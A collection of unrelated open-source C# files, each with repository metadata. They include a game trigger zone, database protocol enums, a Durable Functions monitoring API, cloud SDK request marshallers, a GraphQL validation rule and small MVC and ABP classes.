AttachedRoll.TimeSinceDropped = Math.Clamp( AttachedRoll.TimeSinceDropped, 0f, 15f ); } } } } public override void StartTouch( Entity other ) { base.StartTouch( other ); if ( other.IsWorld ) return; if ( Game.Instance.Round is not CombatRound ) return; if ( other is FortwarsPlayer player ) { switch ( player.TeamID ) { case Team.Invalid: break; case Team.Red: if ( !RedPlayers.Contains( player ) ) RedPlayers.Add( player ); break; case Team.Blue: if ( !BluePlayers.Contains( player ) ) BluePlayers.Add( player ); break; default: break; } } } public override void EndTouch( Entity other ) { base.EndTouch( other ); if ( other.IsWorld ) return; if ( Game.Instance.Round is not CombatRound ) return; if ( other is FortwarsPlayer player ) { switch ( player.TeamID ) { case Team.Invalid: break; case Team.Red: if ( RedPlayers.Contains( player ) ) RedPlayers.Remove( player ); break; case Team.Blue: if ( BluePlayers.Contains( player ) ) BluePlayers.Remove( player ); break; default: break; } } } } }
21.102564
133
0.619077
[ "MIT" ]
DevulTj/sbox-fortwars
code/entities/ctf/RollReturnZone.cs
3,294
C#
namespace SingleStoreConnector.Protocol; internal enum CommandKind { Quit = 1, InitDatabase = 2, Query = 3, Ping = 14, ChangeUser = 17, StatementPrepare = 22, StatementExecute = 23, ResetConnection = 31, Multi = 254, }
15.266667
40
0.71179
[ "MIT" ]
memsql/MySqlConnector
src/SingleStoreConnector/Protocol/CommandKind.cs
229
C#
/****************************************************************************************** * * Copyright (c) 2012 WU WAI FAN DENNIS * * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the Software * is furnished to do so, subject to the following conditions: * * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * ******************************************************************************************/ using System; using System.Reflection; using System.Windows.Forms; using DennisWuWorks.InteractiveBuilder.Rule; namespace DennisWuWorks.InteractiveBuilder { public class PropertyGridControl: PropertyGrid { #region Constructor /// <summary> /// Constructor /// </summary> public PropertyGridControl() { InitializeComponent(); } #endregion #region Methods - Private /// <summary> /// /// </summary> private void InitializeComponent() { this.SuspendLayout(); // // PropertyGridControl // this.PropertyValueChanged += PropertyGridControl_PropertyValueChanged; this.ResumeLayout( false ); } #endregion #region Event Handlers /// <summary> /// /// </summary> /// <param name="s"></param> /// <param name="e"></param> private static void PropertyGridControl_PropertyValueChanged( object s, PropertyValueChangedEventArgs e ) { RuleBaseAttribute rule; Type classType; string propertyName; PropertyInfo propertyInfo; object[] attributes; classType = e.ChangedItem.PropertyDescriptor.ComponentType; propertyName = e.ChangedItem.PropertyDescriptor.Name; propertyInfo = classType.GetProperty( propertyName ); attributes = propertyInfo.GetCustomAttributes( true ); if ( ( attributes != null ) && ( attributes.Length > 0 ) ) { foreach ( object attribute in attributes ) { // Is this Attribute a RuleBaseAttribute rule = attribute as RuleBaseAttribute; if ( rule != null ) { // Validate the data using the rule if ( rule.IsValid( e.ChangedItem.Value ) == false ) { // Data was invalid - show the error MessageBox.Show( rule.ErrorMessage, "Data Entry Error", MessageBoxButtons.OK, MessageBoxIcon.Error ); } } } } } #endregion } }
29.672727
108
0.636336
[ "BSD-3-Clause", "MIT" ]
dppereyra/interactive-dialplanner
CustomControls/PropertyGridControl.cs
3,264
C#
// Copyright (c) Microsoft Corporation. // Licensed under the MIT license. using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.AspNetCore.Http; using Newtonsoft.Json.Linq; using System; using Microsoft.Azure.WebJobs.Extensions.DurableTask; using Microsoft.WindowsAzure.Storage.Table; using System.Linq; using Microsoft.Extensions.Logging; using Fluid; using Fluid.Values; using Newtonsoft.Json; using Microsoft.Azure.WebJobs.Extensions.DurableTask.ContextImplementations; namespace DurableFunctionsMonitor.DotNetBackend { public class Orchestration: HttpHandlerBase { public Orchestration(IDurableClientFactory durableClientFactory): base(durableClientFactory) {} // Handles orchestration instance operations. // GET /a/p/i/{connName}-{hubName}/orchestrations('<id>') [FunctionName(nameof(DfmGetOrchestrationFunction))] public Task<IActionResult> DfmGetOrchestrationFunction( [HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = Globals.ApiRoutePrefix + "/orchestrations('{instanceId}')")] HttpRequest req, [DurableClient(TaskHub = Globals.HubNameRouteParamName)] IDurableClient defaultDurableClient, string connName, string hubName, string instanceId, ILogger log) { return this.HandleAuthAndErrors(defaultDurableClient, req, connName, hubName, log, async (durableClient) => { var status = await durableClient.GetStatusAsync(instanceId, false, false, true); if (status == null) { return new NotFoundObjectResult($"Instance {instanceId} doesn't exist"); } return new DetailedOrchestrationStatus(status, connName).ToJsonContentResult(Globals.FixUndefinedsInJson); }); } // Handles orchestration instance operations. // GET /a/p/i/{connName}-{hubName}/orchestrations('<id>')/history [FunctionName(nameof(DfmGetOrchestrationHistoryFunction))] public Task<IActionResult> DfmGetOrchestrationHistoryFunction( [HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = Globals.ApiRoutePrefix + "/orchestrations('{instanceId}')/history")] HttpRequest req, [DurableClient(TaskHub = Globals.HubNameRouteParamName)] IDurableClient defaultDurableClient, string connName, string hubName, string instanceId, ILogger log) { return this.HandleAuthAndErrors(defaultDurableClient, req, connName, hubName, log, async (durableClient) => { var filterClause = new FilterClause(req.Query["$filter"]); HistoryEvent[] history; int? totalCount = null; try { var connEnvVariableName = Globals.GetFullConnectionStringEnvVariableName(connName); history = DfmEndpoint.ExtensionPoints.GetInstanceHistoryRoutine(durableClient, connEnvVariableName, hubName, instanceId) // This code duplication is intentional. We need to keep the whole iteration process inside try-block, because of potential exceptions during it. .ApplyTimeFrom(filterClause.TimeFrom) .ApplyFilter(filterClause) .ApplySkip(req.Query) .ApplyTop(req.Query) .ToArray(); } catch (Exception ex) { log.LogWarning(ex, "Failed to get execution history from storage, falling back to DurableClient"); // Falling back to DurableClient var status = await GetInstanceStatusWithHistory(connName, instanceId, durableClient, log); if (status == null) { return new NotFoundObjectResult($"Instance {instanceId} doesn't exist"); } var historyJArray = status.History == null ? new JArray() : status.History; totalCount = historyJArray.Count; history = historyJArray .Select(OrchestrationHistory.ToHistoryEvent) .ApplyTimeFrom(filterClause.TimeFrom) .ApplyFilter(filterClause) .ApplySkip(req.Query) .ApplyTop(req.Query) .ToArray(); } return new ContentResult() { Content = JsonConvert.SerializeObject( new { totalCount, history }, HistorySerializerSettings), ContentType = "application/json" }; }); } // Starts a new orchestration instance. // POST /a/p/i/{connName}-{hubName}/orchestrations [FunctionName(nameof(DfmStartNewOrchestrationFunction))] public Task<IActionResult> DfmStartNewOrchestrationFunction( [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = Globals.ApiRoutePrefix + "/orchestrations")] HttpRequest req, [DurableClient(TaskHub = Globals.HubNameRouteParamName)] IDurableClient defaultDurableClient, string connName, string hubName, ILogger log) { return this.HandleAuthAndErrors(defaultDurableClient, req, connName, hubName, log, async (durableClient) => { // Checking that we're not in ReadOnly mode if (DfmEndpoint.Settings.Mode == DfmMode.ReadOnly) { log.LogError("Endpoint is in ReadOnly mode"); return new StatusCodeResult(403); } string bodyString = await req.ReadAsStringAsync(); dynamic body = JObject.Parse(bodyString); string orchestratorFunctionName = body.name; string instanceId = body.id; instanceId = await durableClient.StartNewAsync(orchestratorFunctionName, instanceId, body.data); return new { instanceId }.ToJsonContentResult(Globals.FixUndefinedsInJson); }); } // Handles orchestration instance operations. // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/purge // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/rewind // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/terminate // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/raise-event // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/set-custom-status // POST /a/p/i/{connName}-{hubName}/orchestrations('<id>')/restart [FunctionName(nameof(DfmPostOrchestrationFunction))] public Task<IActionResult> DfmPostOrchestrationFunction( [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = Globals.ApiRoutePrefix + "/orchestrations('{instanceId}')/{action?}")] HttpRequest req, [DurableClient(TaskHub = Globals.HubNameRouteParamName)] IDurableClient defaultDurableClient, string connName, string hubName, string instanceId, string action, ILogger log) { return this.HandleAuthAndErrors(defaultDurableClient, req, connName, hubName, log, async (durableClient) => { // Checking that we're not in ReadOnly mode if (DfmEndpoint.Settings.Mode == DfmMode.ReadOnly) { log.LogError("Endpoint is in ReadOnly mode"); return new StatusCodeResult(403); } string bodyString = await req.ReadAsStringAsync(); switch (action) { case "purge": await durableClient.PurgeInstanceHistoryAsync(instanceId); break; case "rewind": await durableClient.RewindAsync(instanceId, bodyString); break; case "terminate": await durableClient.TerminateAsync(instanceId, bodyString); break; case "raise-event": dynamic bodyObject = JObject.Parse(bodyString); string eventName = bodyObject.name; JObject eventData = bodyObject.data; var match = ExpandedOrchestrationStatus.EntityIdRegex.Match(instanceId); // if this looks like an Entity if(match.Success) { // then sending signal var entityId = new EntityId(match.Groups[1].Value, match.Groups[2].Value); await durableClient.SignalEntityAsync(entityId, eventName, eventData); } else { // otherwise raising event await durableClient.RaiseEventAsync(instanceId, eventName, eventData); } break; case "set-custom-status": // Updating the table directly, as there is no other known way var tableClient = TableClient.GetTableClient(Globals.GetFullConnectionStringEnvVariableName(connName)); string tableName = $"{durableClient.TaskHubName}Instances"; var orcEntity = (await tableClient.ExecuteAsync(tableName, TableOperation.Retrieve(instanceId, string.Empty))).Result as DynamicTableEntity; if (string.IsNullOrEmpty(bodyString)) { orcEntity.Properties.Remove("CustomStatus"); } else { // Ensuring that it is at least a valid JSON string customStatus = JObject.Parse(bodyString).ToString(); orcEntity.Properties["CustomStatus"] = new EntityProperty(customStatus); } await tableClient.ExecuteAsync(tableName, TableOperation.Replace(orcEntity)); break; case "restart": bool restartWithNewInstanceId = ((dynamic)JObject.Parse(bodyString)).restartWithNewInstanceId; await durableClient.RestartAsync(instanceId, restartWithNewInstanceId); break; default: return new NotFoundResult(); } return new OkResult(); }); } // Renders a custom tab liquid template for this instance and returns the resulting HTML. // Why is it POST and not GET? Exactly: because we don't want to allow to navigate to this page directly (bypassing Content Security Policies) // POST /a/p/i{connName}-{hubName}//orchestrations('<id>')/custom-tab-markup [FunctionName(nameof(DfmGetOrchestrationTabMarkupFunction))] public Task<IActionResult> DfmGetOrchestrationTabMarkupFunction( [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = Globals.ApiRoutePrefix + "/orchestrations('{instanceId}')/custom-tab-markup('{templateName}')")] HttpRequest req, [DurableClient(TaskHub = Globals.HubNameRouteParamName)] IDurableClient defaultDurableClient, string connName, string hubName, string instanceId, string templateName, ILogger log) { return this.HandleAuthAndErrors(defaultDurableClient, req, connName, hubName, log, async (durableClient) => { var status = await GetInstanceStatusWithHistory(connName, instanceId, durableClient, log); if (status == null) { return new NotFoundObjectResult($"Instance {instanceId} doesn't exist"); } // The underlying Task never throws, so it's OK. var templatesMap = await CustomTemplates.GetTabTemplatesAsync(); string templateCode = templatesMap.GetTemplate(status.GetEntityTypeName(), templateName); if (templateCode == null) { return new NotFoundObjectResult("The specified template doesn't exist"); } try { var fluidTemplate = new FluidParser().Parse(templateCode); var options = new TemplateOptions(); options.MemberAccessStrategy.Register<JObject, object>((obj, fieldName) => obj[fieldName]); options.ValueConverters.Add(x => x is JObject obj ? new ObjectValue(obj) : null); options.ValueConverters.Add(x => x is JValue val ? val.Value : null); string fluidResult = fluidTemplate.Render(new TemplateContext(status, options)); return new ContentResult() { Content = fluidResult, ContentType = "text/html; charset=UTF-8" }; } catch (Exception ex) { return new BadRequestObjectResult(ex.Message); } }); } private static readonly string[] SubOrchestrationEventTypes = new[] { "SubOrchestrationInstanceCreated", "SubOrchestrationInstanceCompleted", "SubOrchestrationInstanceFailed", }; // Need special serializer settings for execution history, to match the way it was originally serialized private static JsonSerializerSettings HistorySerializerSettings = new JsonSerializerSettings { Formatting = Formatting.Indented, DateFormatString = "yyyy-MM-ddTHH:mm:ss.FFFFFFFZ" }; private static async Task<DetailedOrchestrationStatus> GetInstanceStatusWithHistory(string connName, string instanceId, IDurableClient durableClient, ILogger log) { var status = await durableClient.GetStatusAsync(instanceId, true, true, true); if (status == null) { return null; } ConvertScheduledTime(status.History); return new DetailedOrchestrationStatus(status, connName); } private static void ConvertScheduledTime(JArray history) { if (history == null) { return; } var orchestrationStartedEvent = history.FirstOrDefault(h => h.Value<string>("EventType") == "ExecutionStarted"); foreach (var e in history) { if (e["ScheduledTime"] != null) { // Converting to UTC and explicitly formatting as a string (otherwise default serializer outputs it as a local time) var scheduledTime = e.Value<DateTime>("ScheduledTime").ToUniversalTime(); e["ScheduledTime"] = scheduledTime.ToString("o"); // Also adding DurationInMs field var timestamp = e.Value<DateTime>("Timestamp").ToUniversalTime(); var duration = timestamp - scheduledTime; e["DurationInMs"] = duration.TotalMilliseconds; } // Also adding duration of the whole orchestration if (e.Value<string>("EventType") == "ExecutionCompleted" && orchestrationStartedEvent != null) { var scheduledTime = orchestrationStartedEvent.Value<DateTime>("Timestamp").ToUniversalTime(); var timestamp = e.Value<DateTime>("Timestamp").ToUniversalTime(); var duration = timestamp - scheduledTime; e["DurationInMs"] = duration.TotalMilliseconds; } } } } }
46.450425
184
0.574556
[ "MIT" ]
justinmchase/DurableFunctionsMonitor
durablefunctionsmonitor.dotnetbackend/Functions/Orchestration.cs
16,397
C#
using System; namespace Ordering.Application.Exceptions { public class NotFoundException : ApplicationException { public NotFoundException(string name, object key) : base($"Entity \"{name}\" ({key} was not found") { } } }
19.5
61
0.611722
[ "MIT" ]
BoskoD/AspNetMicroservices
src/Services/Ordering/Ordering.Application/Exceptions/NotFoundException.cs
275
C#
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace Stanford.Controllers { public class HomeController : Controller { // // GET: /Home/ public ActionResult Index() { return View(); } public ActionResult Test() { ViewData["Message"] = "Welcome to ASP.NET MVC!"; List<string> petList = new List<string>(); petList.Add("Dog"); petList.Add("Cat"); petList.Add("Hamster"); petList.Add("Parrot"); petList.Add("Gold fish"); petList.Add("Mountain lion"); petList.Add("Elephant"); ViewData["Pets"] = new SelectList(petList); return View(); } public ActionResult HandelForm(string name, string favColor, Boolean bookType, string pets) { ViewData["name"] = name; ViewData["favColor"] = favColor; ViewData["bookType"] = bookType; ViewData["pet"] = pets; return View("Result"); } } }
24.425532
99
0.527003
[ "MIT" ]
dem123456789/STF-Ivy-Dream-Works-MBTI-Test
Stanford/Stanford/Stanford/Controllers/HomeController.cs
1,150
C#
using System; using System.Collections.Generic; using System.Text; using System.Linq; using System.Runtime.Serialization; using Newtonsoft.Json; using Newtonsoft.Json.Converters; using HuaweiCloud.SDK.Core; namespace HuaweiCloud.SDK.Image.V2.Model { /// <summary> /// This is a auto create Body Object /// </summary> public class ImageTaggingReq { /// <summary> /// 与url二选一 图像数据,base64编码,要求base64编码后大小不超过10M,最短边至少15px,最长边最大4096px,支持JPG/PNG/BMP格式。 /// </summary> [JsonProperty("image", NullValueHandling = NullValueHandling.Ignore)] public string Image { get; set; } /// <summary> /// 与image二选一 图片的URL路径,目前支持: - 公网HTTP/HTTPS URL - 华为云OBS提供的URL,使用OBS数据需要进行授权。包括对服务授权、临时授权、匿名公开授权。详请参见[配置OBS服务的访问权限](https://support.huaweicloud.com/api-moderation/moderation_03_0020.html)。 &gt; - 接口响应时间依赖于图片的下载时间,如果图片下载时间过长,会返回接口调用失败。 &gt; - 请保证被检测图片所在的存储服务稳定可靠,建议您使用华为云OBS存储。 /// </summary> [JsonProperty("url", NullValueHandling = NullValueHandling.Ignore)] public string Url { get; set; } /// <summary> /// zh:返回标签的语言类型为中文。 en:返回标签的语言类型为英文。 默认值为zh。 /// </summary> [JsonProperty("language", NullValueHandling = NullValueHandling.Ignore)] public string Language { get; set; } /// <summary> /// 置信度的阈值(0~100),低于此置信数的标签,将不会返回。 默认值:60。 /// </summary> [JsonProperty("threshold", NullValueHandling = NullValueHandling.Ignore)] public float? Threshold { get; set; } /// <summary> /// 最多返回的tag数(最大为150),默认值: 50。 /// </summary> [JsonProperty("limit", NullValueHandling = NullValueHandling.Ignore)] public int? Limit { get; set; } /// <summary> /// Get the string /// </summary> public override string ToString() { var sb = new StringBuilder(); sb.Append("class ImageTaggingReq {\n"); sb.Append(" image: ").Append(Image).Append("\n"); sb.Append(" url: ").Append(Url).Append("\n"); sb.Append(" language: ").Append(Language).Append("\n"); sb.Append(" threshold: ").Append(Threshold).Append("\n"); sb.Append(" limit: ").Append(Limit).Append("\n"); sb.Append("}\n"); return sb.ToString(); } /// <summary> /// Returns true if objects are equal /// </summary> public override bool Equals(object input) { return this.Equals(input as ImageTaggingReq); } /// <summary> /// Returns true if objects are equal /// </summary> public bool Equals(ImageTaggingReq input) { if (input == null) return false; return ( this.Image == input.Image || (this.Image != null && this.Image.Equals(input.Image)) ) && ( this.Url == input.Url || (this.Url != null && this.Url.Equals(input.Url)) ) && ( this.Language == input.Language || (this.Language != null && this.Language.Equals(input.Language)) ) && ( this.Threshold == input.Threshold || (this.Threshold != null && this.Threshold.Equals(input.Threshold)) ) && ( this.Limit == input.Limit || (this.Limit != null && this.Limit.Equals(input.Limit)) ); } /// <summary> /// Get hash code /// </summary> public override int GetHashCode() { unchecked // Overflow is fine, just wrap { int hashCode = 41; if (this.Image != null) hashCode = hashCode * 59 + this.Image.GetHashCode(); if (this.Url != null) hashCode = hashCode * 59 + this.Url.GetHashCode(); if (this.Language != null) hashCode = hashCode * 59 + this.Language.GetHashCode(); if (this.Threshold != null) hashCode = hashCode * 59 + this.Threshold.GetHashCode(); if (this.Limit != null) hashCode = hashCode * 59 + this.Limit.GetHashCode(); return hashCode; } } } }
35.083333
289
0.50529
[ "Apache-2.0" ]
huaweicloud/huaweicloud-sdk-net
Services/Image/V2/Model/ImageTaggingReq.cs
5,147
C#
using System; using System.Linq; using System.Threading.Tasks; using GraphQL.Language.AST; using GraphQL.Types; using GraphQL.Validation.Errors; namespace GraphQL.Validation.Rules { /// <summary> /// Known directives: /// /// A GraphQL document is only valid if all `@directives` are known by the /// schema and legally positioned. /// </summary> public class KnownDirectives : IValidationRule { /// <summary> /// Returns a static instance of this validation rule. /// </summary> public static readonly KnownDirectives Instance = new KnownDirectives(); /// <inheritdoc/> /// <exception cref="KnownDirectivesError"/> public Task<INodeVisitor> ValidateAsync(ValidationContext context) { return new EnterLeaveListener(_ => { _.Match<Directive>(node => { var directiveDef = context.Schema.FindDirective(node.Name); if (directiveDef == null) { context.ReportError(new KnownDirectivesError(context, node)); return; } var candidateLocation = getDirectiveLocationForAstPath(context.TypeInfo.GetAncestors(), context); if (!directiveDef.Locations.Any(x => x == candidateLocation)) { context.ReportError(new KnownDirectivesError(context, node, candidateLocation)); } }); }).ToTask(); } private DirectiveLocation getDirectiveLocationForAstPath(INode[] ancestors, ValidationContext context) { var appliedTo = ancestors[ancestors.Length - 1]; if (appliedTo is Directives || appliedTo is Arguments) { appliedTo = ancestors[ancestors.Length - 2]; } if (appliedTo is Operation op) { switch (op.OperationType) { case OperationType.Query: return DirectiveLocation.Query; case OperationType.Mutation: return DirectiveLocation.Mutation; case OperationType.Subscription: return DirectiveLocation.Subscription; } } if (appliedTo is Field) return DirectiveLocation.Field; if (appliedTo is FragmentSpread) return DirectiveLocation.FragmentSpread; if (appliedTo is InlineFragment) return DirectiveLocation.InlineFragment; if (appliedTo is FragmentDefinition) return DirectiveLocation.FragmentDefinition; throw new InvalidOperationException($"Unable to determine directive location for \"{context.Print(appliedTo)}\"."); } } }
36.530864
127
0.558973
[ "MIT" ]
IdeaHunter/graphql-dotnet
src/GraphQL/Validation/Rules/KnownDirectives.cs
2,959
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the quicksight-2018-04-01.normal.json service model. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Text; using System.Xml.Serialization; using Amazon.QuickSight.Model; using Amazon.Runtime; using Amazon.Runtime.Internal; using Amazon.Runtime.Internal.Transform; using Amazon.Runtime.Internal.Util; using ThirdParty.Json.LitJson; namespace Amazon.QuickSight.Model.Internal.MarshallTransformations { /// <summary> /// CreateIAMPolicyAssignment Request Marshaller /// </summary> public class CreateIAMPolicyAssignmentRequestMarshaller : IMarshaller<IRequest, CreateIAMPolicyAssignmentRequest> , IMarshaller<IRequest,AmazonWebServiceRequest> { /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="input"></param> /// <returns></returns> public IRequest Marshall(AmazonWebServiceRequest input) { return this.Marshall((CreateIAMPolicyAssignmentRequest)input); } /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="publicRequest"></param> /// <returns></returns> public IRequest Marshall(CreateIAMPolicyAssignmentRequest publicRequest) { IRequest request = new DefaultRequest(publicRequest, "Amazon.QuickSight"); request.Headers["Content-Type"] = "application/json"; request.Headers[Amazon.Util.HeaderKeys.XAmzApiVersion] = "2018-04-01"; request.HttpMethod = "POST"; if (!publicRequest.IsSetAwsAccountId()) throw new AmazonQuickSightException("Request object does not have required field AwsAccountId set"); request.AddPathResource("{AwsAccountId}", StringUtils.FromString(publicRequest.AwsAccountId)); if (!publicRequest.IsSetNamespace()) throw new AmazonQuickSightException("Request object does not have required field Namespace set"); request.AddPathResource("{Namespace}", StringUtils.FromString(publicRequest.Namespace)); request.ResourcePath = "/accounts/{AwsAccountId}/namespaces/{Namespace}/iam-policy-assignments/"; request.MarshallerVersion = 2; using (StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture)) { JsonWriter writer = new JsonWriter(stringWriter); writer.WriteObjectStart(); var context = new JsonMarshallerContext(request, writer); if(publicRequest.IsSetAssignmentName()) { context.Writer.WritePropertyName("AssignmentName"); context.Writer.Write(publicRequest.AssignmentName); } if(publicRequest.IsSetAssignmentStatus()) { context.Writer.WritePropertyName("AssignmentStatus"); context.Writer.Write(publicRequest.AssignmentStatus); } if(publicRequest.IsSetIdentities()) { context.Writer.WritePropertyName("Identities"); context.Writer.WriteObjectStart(); foreach (var publicRequestIdentitiesKvp in publicRequest.Identities) { context.Writer.WritePropertyName(publicRequestIdentitiesKvp.Key); var publicRequestIdentitiesValue = publicRequestIdentitiesKvp.Value; context.Writer.WriteArrayStart(); foreach(var publicRequestIdentitiesValueListValue in publicRequestIdentitiesValue) { context.Writer.Write(publicRequestIdentitiesValueListValue); } context.Writer.WriteArrayEnd(); } context.Writer.WriteObjectEnd(); } if(publicRequest.IsSetPolicyArn()) { context.Writer.WritePropertyName("PolicyArn"); context.Writer.Write(publicRequest.PolicyArn); } writer.WriteObjectEnd(); string snippet = stringWriter.ToString(); request.Content = System.Text.Encoding.UTF8.GetBytes(snippet); } return request; } private static CreateIAMPolicyAssignmentRequestMarshaller _instance = new CreateIAMPolicyAssignmentRequestMarshaller(); internal static CreateIAMPolicyAssignmentRequestMarshaller GetInstance() { return _instance; } /// <summary> /// Gets the singleton. /// </summary> public static CreateIAMPolicyAssignmentRequestMarshaller Instance { get { return _instance; } } } }
40.714286
165
0.619474
[ "Apache-2.0" ]
DetlefGolze/aws-sdk-net
sdk/src/Services/QuickSight/Generated/Model/Internal/MarshallTransformations/CreateIAMPolicyAssignmentRequestMarshaller.cs
5,700
C#
using Meadow.EVM.EVM.Execution; using System; using System.Collections.Generic; using System.IO; using System.Text; namespace Meadow.EVM.EVM.Instructions.Stack { public class InstructionPop : InstructionBase { #region Constructors /// <summary> /// Our default constructor, reads the opcode/operand information from the provided stream. /// </summary> public InstructionPop(MeadowEVM evm) : base(evm) { } #endregion #region Functions public override void Execute() { // We'll want to pop an item off of the stack. Stack.Pop(); } #endregion } }
24.851852
99
0.61848
[ "MIT" ]
MeadowSuite/Meadow
src/Meadow.EVM/EVM/Instructions/Stack/InstructionPop.cs
673
C#
/* SPDX-License-Identifier: Apache-2.0 * * The OpenSearch Contributors require contributions made to * this file be licensed under the Apache-2.0 license or a * compatible open source license. * * Modifications Copyright OpenSearch Contributors. See * GitHub history for details. * * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace Osc { [MapsApi("nodes.reload_secure_settings.json")] public partial interface IReloadSecureSettingsRequest { } public partial class ReloadSecureSettingsRequest { } public partial class ReloadSecureSettingsDescriptor { } }
35.432432
64
0.774218
[ "Apache-2.0" ]
Bit-Quill/opensearch-net
src/Osc/Cluster/ReloadSecureSettings/ReloadSecureSettingsRequest.cs
1,311
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the apigateway-2015-07-09.normal.json service model. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Text; using System.Xml.Serialization; using Amazon.APIGateway.Model; using Amazon.Runtime; using Amazon.Runtime.Internal; using Amazon.Runtime.Internal.Transform; using Amazon.Runtime.Internal.Util; using ThirdParty.Json.LitJson; namespace Amazon.APIGateway.Model.Internal.MarshallTransformations { /// <summary> /// UpdateRequestValidator Request Marshaller /// </summary> public class UpdateRequestValidatorRequestMarshaller : IMarshaller<IRequest, UpdateRequestValidatorRequest> , IMarshaller<IRequest,AmazonWebServiceRequest> { /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="input"></param> /// <returns></returns> public IRequest Marshall(AmazonWebServiceRequest input) { return this.Marshall((UpdateRequestValidatorRequest)input); } /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="publicRequest"></param> /// <returns></returns> public IRequest Marshall(UpdateRequestValidatorRequest publicRequest) { IRequest request = new DefaultRequest(publicRequest, "Amazon.APIGateway"); request.Headers["Content-Type"] = "application/json"; request.Headers[Amazon.Util.HeaderKeys.XAmzApiVersion] = "2015-07-09"; request.HttpMethod = "PATCH"; string uriResourcePath = "/restapis/{restapi_id}/requestvalidators/{requestvalidator_id}"; if (!publicRequest.IsSetRequestValidatorId()) throw new AmazonAPIGatewayException("Request object does not have required field RequestValidatorId set"); uriResourcePath = uriResourcePath.Replace("{requestvalidator_id}", StringUtils.FromStringWithSlashEncoding(publicRequest.RequestValidatorId)); if (!publicRequest.IsSetRestApiId()) throw new AmazonAPIGatewayException("Request object does not have required field RestApiId set"); uriResourcePath = uriResourcePath.Replace("{restapi_id}", StringUtils.FromStringWithSlashEncoding(publicRequest.RestApiId)); request.ResourcePath = uriResourcePath; using (StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture)) { JsonWriter writer = new JsonWriter(stringWriter); writer.WriteObjectStart(); var context = new JsonMarshallerContext(request, writer); if(publicRequest.IsSetPatchOperations()) { context.Writer.WritePropertyName("patchOperations"); context.Writer.WriteArrayStart(); foreach(var publicRequestPatchOperationsListValue in publicRequest.PatchOperations) { context.Writer.WriteObjectStart(); var marshaller = PatchOperationMarshaller.Instance; marshaller.Marshall(publicRequestPatchOperationsListValue, context); context.Writer.WriteObjectEnd(); } context.Writer.WriteArrayEnd(); } writer.WriteObjectEnd(); string snippet = stringWriter.ToString(); request.Content = System.Text.Encoding.UTF8.GetBytes(snippet); } return request; } private static UpdateRequestValidatorRequestMarshaller _instance = new UpdateRequestValidatorRequestMarshaller(); internal static UpdateRequestValidatorRequestMarshaller GetInstance() { return _instance; } /// <summary> /// Gets the singleton. /// </summary> public static UpdateRequestValidatorRequestMarshaller Instance { get { return _instance; } } } }
40.588235
159
0.64617
[ "Apache-2.0" ]
FoxBearBear/aws-sdk-net
sdk/src/Services/APIGateway/Generated/Model/Internal/MarshallTransformations/UpdateRequestValidatorRequestMarshaller.cs
4,830
C#
using Abp.Authorization; using lso.Authorization.Roles; using lso.Authorization.Users; namespace lso.Authorization { public class PermissionChecker : PermissionChecker<Role, User> { public PermissionChecker(UserManager userManager) : base(userManager) { } } }
20.666667
66
0.680645
[ "MIT" ]
lsfoo/lso
